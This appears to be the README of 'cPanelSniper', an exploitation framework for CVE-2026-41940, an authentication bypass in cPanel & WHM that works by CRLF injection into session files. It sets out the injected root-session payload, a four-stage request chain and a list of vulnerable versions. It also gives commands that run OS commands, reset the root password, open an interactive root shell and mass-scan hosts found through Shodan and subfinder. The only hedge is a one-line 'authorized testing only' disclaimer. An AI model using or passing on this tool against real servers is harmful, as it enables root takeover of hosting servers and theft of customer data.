
CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection
CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection
4-stage exploit chain · Interactive WHM Shell · Bulk scanner · Pipeline ready · stdlib only
cPanelSniper is a focused exploitation framework for CVE-2026-41940, a critical authentication bypass vulnerability affecting cPanel & WHM. The vulnerability allows unauthenticated remote attackers to gain root-level WHM access by injecting CRLF sequences into the session file via the Authorization HTTP header — without any valid credentials.
For authorized penetration testing and bug bounty programs only.
The root cause lives in Session.pm: the saveSession() function calls filter_sessiondata() after writing the session file to disk. This means CRLF characters embedded in the Authorization: Basic header value are written verbatim into the session file, injecting attacker-controlled fields before sanitization occurs.
Normal flow:
POST /login/ → filter_sessiondata() → write session → auth check
Vulnerable flow:
POST /login/ → write session (CRLF payload injected) → filter_sessiondata() → auth check reads poisoned file
The Authorization: Basic value decodes to:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
These fields are written directly into the session file on disk. When read back, cPanel treats the session as a fully authenticated root session.
┌─────────────────────────────────────────────────────────────┐
│ Stage 0 — Canonical Hostname Discovery │
│ GET /openid_connect/cpanelid → 307 → real hostname │
├─────────────────────────────────────────────────────────────┤
│ Stage 1 — Mint Preauth Session │
│ POST /login/?login_only=1 (wrong creds) │
│ ← 401 + whostmgrsession cookie │
├─────────────────────────────────────────────────────────────┤
│ Stage 2 — CRLF Injection │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd writes CRLF fields into session file │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Stage 3 — Propagate (do_token_denied gadget) │
│ GET /scripts2/listaccts │
│ Triggers raw→cache flush — injected fields become active │
│ ← 401 Token denied (expected) │
├─────────────────────────────────────────────────────────────┤
│ Stage 4 — Verify WHM Root Access │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
| Branch | Vulnerable | Patched |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
No pip install required. Pure Python 3.8+ stdlib only.
# Single target — scan only
python3 cPanelSniper.py -u https://target.com:2087
# Single target — interactive shell after bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Bulk scan from file
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# Force scan (skip cPanel detection)
python3 cPanelSniper.py -u https://target.com:2087 --force
# List all cPanel accounts on the server
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Execute OS command
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Get server info (hostname, load, disk, MySQL host)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Get cPanel version
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Change root password
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Interactive WHM shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# From scope list
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# Shodan results
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# stdin pipe
echo "https://target.com:2087" | python3 cPanelSniper.py
# Multiple sources combined
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
After a successful bypass, the --action shell flag drops into an interactive prompt:
════════════════════════════════════════════════════════════
WHM Shell — target.com
Version: CVE-2026-41940 | Auth: CRLF bypass
Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[cPanel Accounts] target.com:2087 (47 users)
user01 domain: example.com email: [email protected]
user02 domain: shop.com email: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[Server Info] https://target.com:2087
hostname: srv01.target.com
load: 0.72 / 0.66 / 0.69
version: 11.130.0.6